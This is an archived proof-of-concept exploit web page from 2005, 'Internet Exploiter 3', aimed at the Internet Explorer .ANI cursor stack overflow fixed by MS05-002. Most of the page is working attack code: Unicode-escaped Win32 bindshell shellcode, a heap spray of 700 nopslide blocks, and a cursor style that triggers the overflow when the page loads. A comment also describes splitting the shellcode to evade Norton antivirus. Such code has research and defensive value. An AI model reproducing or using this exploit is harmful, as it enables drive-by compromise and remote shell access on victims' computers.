<!-- Changed location of InternetExploiter3.2.ani to point to sploits directory /str0ke -->
<HTML><!--
________________________________________________________________________________
,sSSSs, Ss, Internet Exploiter 3 v0.2
SS" `YS' '*Ss. .ANI stackoverflow PoC exploit
iS' ,SS" Copyright (C) 2003, 2004 by Berend-Jan Wever.
YS, .ss ,sY" http://www.edup.tudelft.nl/~bjwever
`"YSSP" sSS <skylined@edup.tudelft.nl>
________________________________________________________________________________
Credit for the vulnerability:
Yuji Ukai for eEye Digital Security
Patch:
http://www.microsoft.com/technet/security/bulletin/MS05-002.mspx
Changelog for 3.2:
- Putting the .ANI file in the HEAD sometimes caused the BoF to trigger
before the heap was prepared, fixed that by putting it in the BODY.
- New .ANI file overwrites the stack with a lot of 0x0D bytes, making sure
it overwrites the return-address no matter where it is on the stack.
This makes it OS/SP/language independ, thanks to spoonm for the details
on the .ANI file format.
This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License version 2, 1991 as published by
the Free Software Foundation.
This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
A copy of the GNU General Public License can be found at:
http://www.gnu.org/licenses/gpl.html
or you can write to:
Free Software Foundation, Inc.
59 Temple Place - Suite 330
Boston, MA 02111-1307
USA.
-->
<SCRIPT language="javascript">
// Win32 MSIE exploit helper script, creates a lot of nopslides to land in
// and/or use as return address. Thanks to blazde for feedback and idears.
// 4 nops because the 0x0D slide has 5 byte instructions.
shellcode = unescape("%u3737%u3737" +
// Win32 bindshell (port 28876, '\0' free, looping). Thanks to
// HDM and others for inspiration and borrowed code. Source:
// www.edup.tudelft.nl/~bjwever/shellcode/w32_bind_0free_loop.c
// (Added the "+"-s to fool Norton AV, it would see the
// shellcode as InternetExploiter 1)
"%u43eb"+"%u5756"+"%u458b"+"%u8b3c"+"%u0554"+"%u0178"+"%u52ea" +
"%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf" +
"%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b" +
"%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64" +
"%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850" +
"%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff" +
"%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22" +
"%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6" +
"%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe" +
"%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031" +
"%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56" +
"%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964" +
"%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353" +
"%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343" +
"%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031" +
"%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b" +
"%ue8d0%ufec2%uffff%uc483%u615c%u89eb");
// Nopslide will contain these bytes:
bigblock = unescape("%u0D0D%u0D0D");
// Heap blocks in IE have 20 dwords as header
headersize = 20;
// This is all very 1337 code to create a nopslide that will fit exactly
// between the the header and the shellcode in the heap blocks we want.
// The heap blocks are 0x40000 dwords big, I can't be arsed to write good
// documentation for this.
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
// And now we can create the heap blocks, we'll create 700 of them to spray
// enough memory to be sure enough that we've got one at 0x0D0D0D0D
memory = new Array();
for (i=0;i<700;i++) memory[i] = block + shellcode;
function failed() {
// You can't lose with this exploit.
document.location.href="http://www.margrieta.com";
}
</SCRIPT>
<BODY style="CURSOR: url('sploits/InternetExploiter3.2.ani')" onload="setTimeout(failed, 1000);">
</BODY>
</HTML>
// milw0rm.com [2005-01-12]
